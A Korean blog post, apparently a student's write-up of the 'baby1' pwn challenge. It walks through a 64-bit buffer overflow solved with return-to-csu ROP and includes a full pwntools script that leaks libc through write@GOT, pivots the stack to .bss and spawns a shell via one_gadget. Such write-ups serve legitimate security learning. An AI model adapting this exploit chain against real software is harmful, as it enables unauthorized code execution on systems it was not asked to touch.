혜랑's STORY

baby1 풀이 본문

2021 SISS 21기 활동/여름방학 System

baby1 풀이

hyerang0125 2021. 7. 24. 12:05

# Checksec


64bit 바이너리 파일이고, NX가 걸려있다.

 

# IDA


함수 목록을 살펴보니 __libc_init() 함수가 있었다.

따라서 앞서 공부했던 return-to-csu를 사용하여 문제를 해결해 볼 것이다.

 

# Debugging


Break Point

  • 0x4005f6 : main 함수 코드 첫 부분
  • 0x40064b : read() 함수 호출 전

즉, 56개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있다.

 

Exploit method

  • ROP 기법을 이용한 Exploit 순서는 다음과 같다.
1번째 ROP Chain
    a. write() 함수를 이용하여 __libc_start_main@GOT 영역에 저장된 libc 주소를 추출합니다.
    b. read() 함수를 이용하여 .bss 영역에 다음 ROP 코드를 입력받습니다.
2번째 ROP Chain
    a. "/bin/sh\x00"execve() 함수의 첫번째 인자 값으로 전달할 "/bin/sh"을 "./bss" 영역에 저장합니다.
    b. JIT ROP - write() 함수를 이용하여 메모리에 저장된 libc 파일을 출력합니다.
        - 출력 값에서 필요한 ROP Gadget을 찾습니다.
    c. read() 함수를 이용하여 .bss 영역에 다음 ROP 코드를 입력받습니다.
3번째 ROP Chain
    a. execve() 시스템 함수를 이용해 "/bin/sh"를 실행 합니다.
  • 이를 코드로 표현하면 다음과 같다.
write(1,__libc_start_main,8) 
read(0,.bss + 0x400,400) 
JMP .bss + 0x400 
write(1,Address of leak libc,0x190000) 
read(0,"base_stage + len(buf) + 8 * 10" ,100) 
execve("/bin/sh", NULL, NULL)

 

.bss 영역의 주소 찾기

readelf -S ./baby1

 

return-to-csu gadget 주소 찾기

objdump -M intel -d ./baby1

  • set_csu : 0x4006b6 - add rsp, 0x8
  • call_csu : 0x4006a0 - mov rdx, r13
  • leave_ret : 0x400654

Gadget 주소 찾기

  • pop_rbp : 0x400560 - pop rbp

Exploit code

from pwn import *
from struct import *
  
#context.log_level = 'debug'

p = process('./baby1')
binary = ELF('./baby1')
libc = binary.libc 

addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
  
set_csu = 0x4006b6
call_csu = 0x4006a0
pop_rbp = 0x400560
leave_ret = 0x400654  

p.recvuntil("!\n")
  
# stage 1: read address of __libc_start_main()
buf = 'A' * 56
#Gadget 1
buf += p64(set_csu)
buf += "B" * 8
buf += p64(0) #rbx
buf += p64(1) #rbp
buf += p64(addr_got_write) #r12
buf += p64(0x100) #r13 -> rdx
buf += p64(addr_got_write) #r14 -> rsi
buf += p64(1) #r15 -> rdi
buf += p64(call_csu)

buf += "C" * 8
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(0x100)
buf += p64(binary.bss() + 0x10)
buf += p64(0)
buf += p64(call_csu)

buf += "D" * 8
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(pop_rbp)
buf += p64(binary.bss() + 0x10 - 0x8)
buf += p64(leave_ret)
 
p.send(buf)
libc_addr = u64(p.recv(6).ljust(8, "\x00")) - libc.symbols['write']
log.info("leak : " + hex(libc_addr))

one_gadget = libc_addr + 0x4527a
log.info("one_gadget = "+str(hex(one_gadget)))

sleep(1)
p.send(p64(one_gadget))
p.interactive()

 

결과


아직 return to csu 방식으로 exploit code를 작성하는 방법을 잘 몰라서 다른 사람 블로그를 참고하여 이해하였다.

https://real-0ne.tistory.com/208

return to csu를 완전히 이해하고 나만의 코드도 작성해 봐야겠다.